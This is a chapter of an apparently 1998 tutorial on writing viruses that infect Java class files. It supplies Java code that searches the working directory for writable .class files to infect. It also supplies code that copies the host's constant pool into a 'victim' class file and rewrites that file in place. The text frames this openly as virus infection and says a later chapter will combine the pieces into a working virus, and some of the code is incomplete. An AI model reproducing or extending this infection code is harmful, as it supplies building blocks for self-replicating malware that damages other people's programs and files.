introduction
With the previous chapters
you should now have enough knowledge to make java binary class files do
some weird things. To round off your education it is necessary to understand
a few things relevant to virus infection
analysis
finding files
To infect files you must
be able to search through a directory listing for suitably named files.
The code below illustrates how one may go about this.
//====================================================
// Title: Find.java
// Author: Landing Camel
International
// Date:
July 1998
//====================================================
import java.io.*;
public class Find {
public static void main(String
argv[]) {
String homedir
= System.getProperty("user.dir");
File present =
new File(homedir);
int ind;
String[] dirlist;
for (dirlist =
present.list(), ind = 0;
dirlist != null
&& ind < dirlist.length; ind++){
File entry =
new File(present, dirlist[ind]);
if ((entry.isFile())
&& (entry.canWrite()) &&
(entry.canRead()) &&
(dirlist[ind].endsWith(".class"))) {
System.out.println(entry.getAbsolutePath());
}
}
}
Reading from host and Writing
to victim
It is a waste of valuable
space to store a copy of the virus inside the virus so that it can attach
it to other files. Thus we are required to be able to read from the current
file all of the necessary parts to infect another file. This code illustrates
how to go about this by reading in its whole constants pool and writing
it to another file, victim.
//====================================================
// Title: host.java
// Author: Landing Camel
International
// Date:
July 1998
//====================================================
import java.io.*;
public class host {
public static void
main(String argv[])
throws IOException {
//create instance
for host
RandomAccessFile
host = new
RandomAccessFile("host.class","r");
//the length of
the constants_pool in bytes
int cp_length
= 578;
int fpointer
= 10;
//read in our
constant_pool
host.seek(fpointer);
byte[] cp_pool
= new byte[cp_length];
host.readFully(cp_pool);
//create instance
for victim
RandomAccessFile
victim = new
RandomAccessFile("victim.class","rw");
//seek to end
of constants pool
//read in const_count
fpointer = 8;
victim.seek(fpointer);
int cp_entries
= victim.readUnsignedShort();
//write new constant_count
victim.seek(fpointer);
victim.writeShort(cp_entries+65);
//seek to the
start of the const_pool
fpointer += 2;
victim.seek(fpointer);
//iterate through
const_pool
for (int i =
1; i < cp_entries; i++) {
int tag = victim.readUnsignedByte();
fpointer++;
int skipper = 0;
switch (tag) {
case 7:
case 8: fpointer += 2;
break;
case 3:
case 4:
case 9:
case 10:
case 11:
case 12: fpointer = fpointer + 4;
break;
case 5:
case 6: fpointer = fpointer + 8;
i++;
break;
case 1: skipper = victim.readUnsignedShort();
fpointer = fpointer + skipper + 2;
break;
}
victim.seek(fpointer);
}
//save the end
of the file
int offset =
(int)victim.length() - fpointer;
byte[] end =
new byte[offset];
victim.read(end,
0, offset);
//append our new
code to the end of the file
victim.seek(fpointer);
victim.write(cp_pool);
//restore tail
of file
victim.write(end);
//close files
victim.close();
host.close();
}
}
conclusion
Now your journey is almost
complete. The next chapter deals with bringing it all together to make
something cool and also deals with the problem of changing offsets in the
code and constant pool. This chapter was still important although relatively
little material was covered. Remember to keep it all in perspective.